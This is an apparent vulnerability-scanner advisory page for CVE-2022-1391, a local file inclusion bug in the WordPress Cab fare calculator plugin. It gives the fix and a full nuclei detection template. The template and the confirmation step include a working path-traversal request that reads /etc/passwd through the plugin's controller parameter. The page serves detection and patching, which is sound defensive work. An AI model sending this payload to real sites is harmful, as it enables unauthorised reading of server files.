CVE-2022-1391· kanev / cab fare calculator· CWE-22
WordPress Cab fare calculator < 1.0.4 - Local File Inclusion
criticalseverity
9.8CVSS score
15.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
The Cab fare calculator WordPress plugin before 1.0.4 does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues.
Impact
An attacker can exploit this vulnerability to read sensitive files on the server, potentially exposing sensitive information.
Fix
Update to the latest version of the WordPress Cab fare calculator plugin (1.0.4) to fix the local file inclusion vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2022-1391 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-1391
info:
name: WordPress Cab fare calculator < 1.0.4 - Local File Inclusion
author: Splint3r7
severity: critical
description: |
The Cab fare calculator WordPress plugin before 1.0.4 does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially exposing sensitive information.
remediation: |
Update to the latest version of the WordPress Cab fare calculator plugin (1.0.4) to fix the local file inclusion vulnerability.
reference:
- https://www.exploit-db.com/exploits/50843
- https://wordpress.org/plugins/cab-fare-calculator
- https://wpscan.com/vulnerability/680121fe-6668-4c1a-a30d-e70dd9be5aac
- https://nvd.nist.gov/vuln/detail/CVE-2022-1391
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1391
cwe-id: CWE-22
epss-score: 0.15064
epss-percentile: 0.96755
cpe: cpe:2.3:a:kanev:cab_fare_calculator:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: kanev
product: cab_fare_calculator
framework: wordpress
tags: cve,cve2022,wordpress,wp-plugin,lfi,wp,edb,wpscan,kanev,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1'
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/50843
- https://wordpress.org/plugins/cab-fare-calculator
- https://wpscan.com/vulnerability/680121fe-6668-4c1a-a30d-e70dd9be5aac
- https://nvd.nist.gov/vuln/detail/CVE-2022-1391
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from